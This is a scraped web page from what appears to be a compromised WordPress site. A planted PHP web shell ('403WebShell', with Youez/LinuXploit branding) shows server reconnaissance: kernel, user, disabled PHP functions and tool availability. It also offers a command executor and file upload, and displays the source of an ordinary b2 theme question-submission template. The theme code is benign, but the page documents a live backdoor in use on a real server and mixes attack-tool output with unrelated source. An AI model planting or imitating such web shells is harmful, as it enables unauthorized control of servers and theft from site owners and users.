AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Pages/po-ask.php
<?php
/**
 * 提问页面
 */
b2_redirect_404('ask');
get_header();
$allow_cats = b2_get_option('ask_submit','ask_submit_cats');
?>
<div class="b2-single-content wrapper">
    <div id="ask" class="content-area ask-page" ref="poask">
        <div class="comment-overlay" v-if="!b2token || !userRole.can_ask" v-cloak>
            <div class="comment-overlay-login">
                <template v-if="!b2token">
                    <p><?php echo __('请先登录再进行提问','b2'); ?></p> 
                    <button class="empty" @click="login.show = true"><?php echo __('登录','b2'); ?></button>
                </template>
                <template v-else-if="userRole">
                    <p><?php echo __('您暂时无权提交问题,如果需要提问,您可以私信管理员','b2'); ?></p> 
                    <button class="empty" @click="dmsg"><?php echo __('私信管理员','b2'); ?></button>
                </template>
            </div>
        </div>
        <main id="main" class="site-main box b2-radius">
            <div class="po-ask-top b2flex">
                <div class="po-ask-left">
                    <h1><?php echo __('提问','b2'); ?></h1>
                    <div class="po-xs">
                        <label>
                            <input type="checkbox" v-model="reward" /><span><?php echo __('悬赏','b2'); ?></span>
                        </label>
                    </div>
                </div>
                <div class="po-ask-right"><button @click="showModal = true" :disabled="ask.pickedList.length >= 4 ? true :false"><?php echo __('邀请回答','b2'); ?></button></div>
            </div>
            <div class="reward" v-if="reward" v-cloak>
                <div class="reward-left">
                    <div class="reward-type">
                        <span :class="rewardType == 'credit' ? 'picked red' : ''" @click="rewardType = 'credit'"><?php echo __('积分','b2'); ?></span>
                        <span :class="rewardType == 'money' ? 'picked red' : ''" @click="rewardType = 'money'"><?php echo B2_MONEY_NAME; ?></span>
                    </div>
                    <div>
                        <input type="number" :placeholder="rewardType == 'money' ? '<?php echo __('请输入金额(直接填写金额数字最少1元)','b2'); ?>' : '<?php echo __('请输入积分数额(整数)','b2'); ?>'" v-model="money"/>
                    </div>
                    <div class="reward-desc">
                        <div v-if="rewardType == 'credit'"><?php echo sprintf(__('问题提交之后会立刻扣除相应的积分。您的当前积分为:%s','b2'),b2_get_icon('b2-coin-line').'<span>{{userData.credit}}</span>'); ?></div>
                        <div v-if="rewardType == 'money'"><?php echo sprintf(__('问题提交之后会立刻扣除相应的%s。您的当前%s为:%s','b2'),B2_MONEY_NAME,B2_MONEY_NAME,B2_MONEY_SYMBOL.'<span>{{userData.money}}</span>'); ?></div>
                    </div>
                </div>
                <div class="reward-right">
                    <div class="reward-type">
                        <span><?php echo __('过期时间','b2'); ?></span>
                    </div>
                    <div>
                        <input type="number" placeholder="<?php echo __('请输入过期时间(天)','b2'); ?>" v-model="passtime"/>
                    </div>
                    <div class="reward-desc">
                        <div>
                            <?php echo __('请直接填写数字,并且大于1小于30。如果没有回答被采纳,提问过期后会自动关闭,然后对奖励进行结算。'); ?>
                        </div>
                    </div>
                </div>
            </div>
            <div class="ask-search-user-input" v-if="ask.pickedList.length > 0" v-cloak>
                <div class="po-ask-desc mg-b"><?php echo __('邀请回答','b2'); ?></div>
                <ul>
                    <li v-for="(item,index) in ask.pickedList" @click.stop.prevent="" class="search-user-li" :key="index">
                        <div>
                            <img :src="item.avatar" class="avatar"/>
                            <span v-text="item.name"></span><b @click.stop.prevent="removePickedUser(index)"><?php echo b2_get_icon('b2-close-line'); ?></b>
                        </div>
                    </li>
                </ul>
            </div>
            <div class="po-ask-cats">
                <div class="po-ask-desc mg-b"><?php echo __('请选择标签','b2'); ?></div>
                <div style="display: flex;">
                    <div class="b2flex" v-if="Object.keys(cats).length > 0" v-cloak>
                        <div v-for="(cat,key,index) in cats" :key="key" class="po-cat-item">
                            <div>
                                <span v-text="cat"></span>
                                <b @click="removeCat(key)" class="removeb">x</b>
                            </div>
                        </div>
                    </div>
                    <label class="register-cat" ref="catpicked">
                        <?php
                        $dropdown_args = array(
                            'hide_empty'       => 0,
                            'hide_if_empty'    => false,
                            'taxonomy'         => 'ask_cat',
                            'name'             => 'parent',
                            'orderby'          => 'name',
                            'hierarchical'     => true,
                            'show_option_none' => __( '请选择板块','b2'),
                            'include'=>$allow_cats
                        );

                        $dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, 'ask_cat', 'new' );

                        wp_dropdown_categories( $dropdown_args );
                        ?>
                    </label>
                </div>
            </div>
            <div>
                <textarea type="text" class="write-textarea" placeholder="<?php echo __('标题','b2'); ?>" ref="title"></textarea>
            </div>
            <div id="b2-editor-box">
                <textarea id="ask-edit-content" v-cloak></textarea>
                <div :class="['trix-dialog trix-dialog--images modal',{'show-modal':showImageBox}]" v-cloak>
                        <div class="trix-dialog__link-fields box">
                            <div class="trix-dialog-title" v-if="!thumbPicked"><?php echo __('插入图片','b2'); ?></div>
                            <div class="trix-dialog-title" v-else><?php echo __('设置题图','b2'); ?></div>
                            <span class="close-button" @click.stop="close('image')">×</span>
                            <div class="image-table">
                                <div :class="imgTable == 'upload' ? 'picked' : ''" @click.stop="imgTable = 'upload'"><?php echo __('上传图片','b2'); ?></div>
                                <div :class="imgTable == 'lib' ? 'picked' : ''" @click.stop="imgTable = 'lib'"><?php echo __('我的图片','b2'); ?></div>
                                <div :class="imgTable == 'link' ? 'picked' : ''" @click.stop="imgTable = 'link'" v-if="!thumbPicked"><?php echo __('外链图片','b2'); ?></div>
                            </div>
                            <label class="image-upload-box" v-if="imgTable == 'upload'">
                                <div class="">
                                    <svg class="b2 b2--BackToTop" fill="currentColor" viewBox="0 0 24 24" width="70" height="70"><path d="M16.036 19.59a1 1 0 0 1-.997.995H9.032a.996.996 0 0 1-.997-.996v-7.005H5.03c-1.1 0-1.36-.633-.578-1.416L11.33 4.29a1.003 1.003 0 0 1 1.412 0l6.878 6.88c.782.78.523 1.415-.58 1.415h-3.004v7.005z"></path></svg>
                                    <p><?php echo __('请选择要上传的图片','b2'); ?></p>
                                </div>
                                <input type="file" class="b2-hidden-always" accept="image/jpg,image/jpeg,image/png,image/gif" @change="fileUpload($event,'image')" multiple="multiple">
                            </label>
                            <div class="trix-dialog-image-box" v-if="imgTable == 'lib'">
                                <div class="" v-if="imageList.length > 0">    
                                    <ul class="editor-images-list">
                                        <li v-for="item in imageList" @click.stop="item.thumb ? picked('image',item.att_url) : ''" :class="(imagePicked.indexOf(item.att_url) !== -1 && !thumbPicked) || (thumb == item.att_url && thumbPicked) ? 'picked' : ''">
                                            <div class="editor-image">
                                                <span v-if="!item.thumb" class="b2-loading button text"></span>
                                                <img :src="item.thumb" v-if="item.thumb">
                                            </div>
                                        </li>
                                    </ul>
                                    <div class="image-nav" v-if="imagePages > 0">
                                        <button class="text" :disabled="locked.pre || paged == 1 ? true : false" @click.stop="per('image')"><?php echo __('上一页','b2'); ?></button>
                                        <button class="text" :disabled="locked.next || paged == imagePages ? true : false" @click.stop="next('image')"><?php echo __('下一页','b2'); ?></button>
                                    </div>
                                </div>
                                <div class="editor-file-none" v-else>
                                    <?php echo __('您未上传过图片','b2'); ?>
                                </div>
                            </div>
                            <div class="trix-dialog-input-box" v-if="imgTable == 'link'">
                                <div class="trix-dialog-input input-textarea">
                                    <textarea type="text" name="imageLink" class="trix-input trix-input--dialog" id="imageLink"></textarea>
                                </div>
                                <p class="dialog-desc"><?php echo __('支持多张外链图片,每个图片连接占一行','b2'); ?></p>
                            </div>
                            <div class="trix-button-group" v-show="imgTable != 'upload'">
                                <button  class="empty" @click.stop="close('image')"><?php echo __('取消','b2'); ?></button>
                                <button @click.stop="insert('image')"  v-if="!thumbPicked"><?php echo __('插入','b2'); ?></button>
                                <button @click.stop="setThumb"  v-else><?php echo __('设置','b2'); ?></button>
                            </div>
                        </div>
                    </div>
                    <div :class="['trix-dialog trix-dialog--video modal',{'show-modal':showVideoBox}]" v-cloak>
                        <div class="trix-dialog__link-fields box">
                            <div class="trix-dialog-title"><?php echo __('插入视频','b2'); ?></div>
                            <span class="close-button" @click.stop="close('video')">×</span>
                            <div class="image-table">
                                <div :class="videoTable == 'upload' ? 'picked' : ''" @click.stop="videoTable = 'upload'"><?php echo __('上传视频','b2'); ?></div>
                                <div :class="videoTable == 'lib' ? 'picked' : ''" @click.stop="videoTable = 'lib'"><?php echo __('我的视频','b2'); ?></div>
                                <div :class="videoTable == 'link' ? 'picked' : ''" @click.stop="videoTable = 'link'"><?php echo __('外链视频','b2'); ?></div>
                                <div :class="videoTable == 'html' ? 'picked' : ''" @click.stop="videoTable = 'html'"><?php echo __('内嵌视频','b2'); ?></div>
                            </div>
                            <label class="image-upload-box" v-if="videoTable == 'upload'">
                                <div class="">
                                    <svg class="b2 b2--BackToTop" fill="currentColor" viewBox="0 0 24 24" width="70" height="70"><path d="M16.036 19.59a1 1 0 0 1-.997.995H9.032a.996.996 0 0 1-.997-.996v-7.005H5.03c-1.1 0-1.36-.633-.578-1.416L11.33 4.29a1.003 1.003 0 0 1 1.412 0l6.878 6.88c.782.78.523 1.415-.58 1.415h-3.004v7.005z"></path></svg>
                                    <p><?php echo __('请选择要上传的视频','b2'); ?></p>
                                </div>
                                <input type="file" class="b2-hidden-always" accept="video/mp4,video/x-ms-asf,video/x-ms-wmv,video/x-ms-wmx,video/x-ms-wm,video/avi,video/divx,video/x-flv,video/quicktime,video/mpeg,video/ogg,video/webm,video/x-matroska,video/3gpp,video/3gpp2" @change="fileUpload($event,'video')">
                            </label>
                            <div class="trix-dialog-video-box" v-if="videoTable == 'lib'">
                                <div class="" v-if="videoList.length > 0">    
                                    <ul class="editor-images-list">
                                        <li v-for="item in videoList" @click.stop="item.att_url ? picked('video',item.att_url) : ''" :class="videoPicked && videoPicked.indexOf(item.att_url) !== -1 ? 'picked' : ''">
                                            <div class="editor-image">
                                                <span v-if="!item.att_url" class="b2-loading button text"></span>
                                                <video muted :src="item.att_url" v-if="item.att_url" @mouseenter="videoplay($event,'play')" @mouseleave="videoplay($event,'stop')"></video>
                                            </div>
                                        </li>
                                    </ul>
                                    <div class="image-nav" v-if="videoPages > 0">
                                        <button class="text" :disabled="locked.pre || paged == 1 ? true : false" @click.stop="per('video')"><?php echo __('上一页','b2'); ?></button>
                                        <button class="text" :disabled="locked.next || paged == videoPages ? true : false" @click.stop="next('video')"><?php echo __('下一页','b2'); ?></button>
                                    </div>
                                </div>
                                <div class="editor-file-none" v-else>
                                    <?php echo __('您未上传过视频','b2'); ?>
                                </div>
                            </div>
                            <div v-if="videoTable == 'link'">
                                <div class="trix-dialog-input-box">
                                    <div class="trix-dialog-input">
                                        <label for="videoLink"><?php echo __('视频地址','b2'); ?></label>
                                        <input type="url" name="videoLink" class="trix-input trix-input--dialog" id="videoLink">
                                    </div>
                                    <p class="dialog-desc"><?php echo __('复制视频文件地址或各大视频网站视频地址','b2'); ?></p>
                                </div>
                                <div class="trix-dialog-input-box">
                                    <div class="trix-dialog-input">
                                        <label for="videoThumb"><?php echo __('视频封面','b2'); ?></label>
                                        <input type="url" name="videoThumb" class="trix-input trix-input--dialog" id="videoThumb">
                                    </div>
                                    <p class="dialog-desc"><?php echo __('如果不设置封面,程序会自动获取','b2'); ?></p>
                                </div>
                            </div>
                            <div class="trix-dialog-input-box" v-if="videoTable == 'html'" v-cloak>
                                <div class="trix-dialog-input input-textarea">
                                    <textarea type="url" class="trix-input trix-input--dialog" id="videoHtml"></textarea>
                                </div>
                                <p class="dialog-desc"><?php echo __('将内嵌视频代码粘贴在上面','b2'); ?></p>
                            </div>
                            <div class="trix-button-group" v-if="videoTable != 'upload'">
                                <button  class="empty" @click.stop="close('video')"><?php echo __('取消','b2'); ?></button>
                                <button  @click.stop="insert('video')"><?php echo __('插入','b2'); ?></button>
                            </div>
                        </div>
                    </div>
                    <div :class="['trix-dialog trix-dialog--video modal',{'show-modal':showPostBox}]" v-cloak>
                        <div class="trix-dialog__link-fields box">
                            <div class="trix-dialog-title"><?php echo __('插入文章','b2'); ?></div>
                            <span class="close-button" @click.stop="close('post')">×</span>
                            <div class="trix-dialog-input-box">
                                <div class="trix-dialog-input">
                                    <label for="postLink"><?php echo __('文章网址','b2'); ?></label>
                                    <input type="url" name="postLink" class="trix-input trix-input--dialog" id="postLink">
                                </div>
                                <p class="dialog-desc"><?php echo __('只允许插入本站的文章连接','b2'); ?></p>
                            </div>
                            <div class="trix-button-group">
                                <button  @click.stop="close('post')" class="empty"><?php echo __('取消','b2'); ?></button>
                                <button @click.stop="insertPost()"><?php echo __('插入','b2'); ?></button>
                            </div>
                        </div>
                    </div>
                    <div :class="['trix-dialog trix-dialog--video modal',{'show-modal':showFileBox}]" v-cloak>
                        <div class="trix-dialog__link-fields box">
                            <div class="trix-dialog-title"><?php echo __('插入附件','b2'); ?></div>
                            <span class="close-button" @click.stop="close('file')">×</span>
                            <div class="trix-dialog-input-box">
                                <div class="trix-dialog-input">
                                    <label for="fileTitle"><?php echo __('标题','b2'); ?></label>
                                    <input type="url" name="fileTitle" class="trix-input trix-input--dialog" id="fileTitle">
                                </div>
                            </div>
                            <div class="trix-dialog-input-box">
                                <div class="trix-dialog-input">
                                    <label for="fileLink"><?php echo __('连接','b2'); ?></label>
                                    <input type="url" name="fileLink" class="trix-input trix-input--dialog" id="fileLink">
                                </div>
                            </div>
                            <div class="trix-dialog-input-box">
                                <div class="trix-dialog-input">
                                    <label for="fileTq"><?php echo __('提取码','b2'); ?></label>
                                    <input type="url" name="fileTq" class="trix-input trix-input--dialog" id="fileTq">
                                </div>
                                <p class="dialog-desc"><?php echo __('选填','b2'); ?></p>
                            </div>
                            <div class="trix-dialog-input-box">
                                <div class="trix-dialog-input">
                                    <label for="fileJy"><?php echo __('解压码','b2'); ?></label>
                                    <input type="url" name="fileJy" class="trix-input trix-input--dialog" id="fileJy">
                                </div>
                                <p class="dialog-desc"><?php echo __('选填','b2'); ?></p>
                            </div>
                            <div class="trix-button-group">
                                <button @click.stop="close('file')" class="empty"><?php echo __('取消','b2'); ?></button>
                                <button @click.stop="insertFile"><?php echo __('插入','b2'); ?></button>
                            </div>
                        </div>
                    </div>
            </div>
            <div class="po-ask-button">
                <div>
                    
                </div>
                <button @click="submit"><?php echo __('发布','b2'); ?></button>
            </div>
        </main>
        <div :class="['po-ask-users modal',{'show-modal':showModal}]" id="po-ask-users" v-cloak>
            <div class="modal-content b2-radius">
                <span class="close-button" @click="showModal = false">×</span>
                <div class="ask-search-user-input search-text">
                    <input type="text" autocomplete="off" name="user" placeholder="<?php echo __('搜索邀请回答的用户','b2'); ?>" v-model="userInput" @focus="ask.focus = true" @input="searchUser" @click.stop="">
                </div>
                <div class="search-users" v-cloak v-show="ask.focus">
                    <div v-if="ask.userList.length > 0" class="search-users-list">
                        <ul>
                            <li v-for="item in ask.userList" @click.stop.prevent="pickedUser(item.id,item.name,item.avatar)" :key="item.id" class="b2flex">
                                <div class="b2flex">
                                    <?php echo b2_get_img(array(
                                        'source_data'=>':srcset="item.avatar_webp"',
                                        'src_data'=>':src="item.avatar"',
                                        'class'=>array('avatar')
                                    ));?>
                                    <span v-text="item.name"></span>(<b v-text="'ID:'+item.id"></b>)
                                </div>
                                <div>
                                    <button class="mini"><?php echo __('邀请回答','b2'); ?>
                                </div>
                            </li>
                        </ul>
                    </div>
                    <div class="search-users-none search-users-list" v-else>
                        <span v-if="ask.empty"><?php echo __('没有找到用户','b2'); ?></span>
                        <span v-else><?php echo __('请输入您要搜索的用户昵称','b2'); ?></span>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php get_template_part( 'Sidebars/sidebar'); ?>
</div>
<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit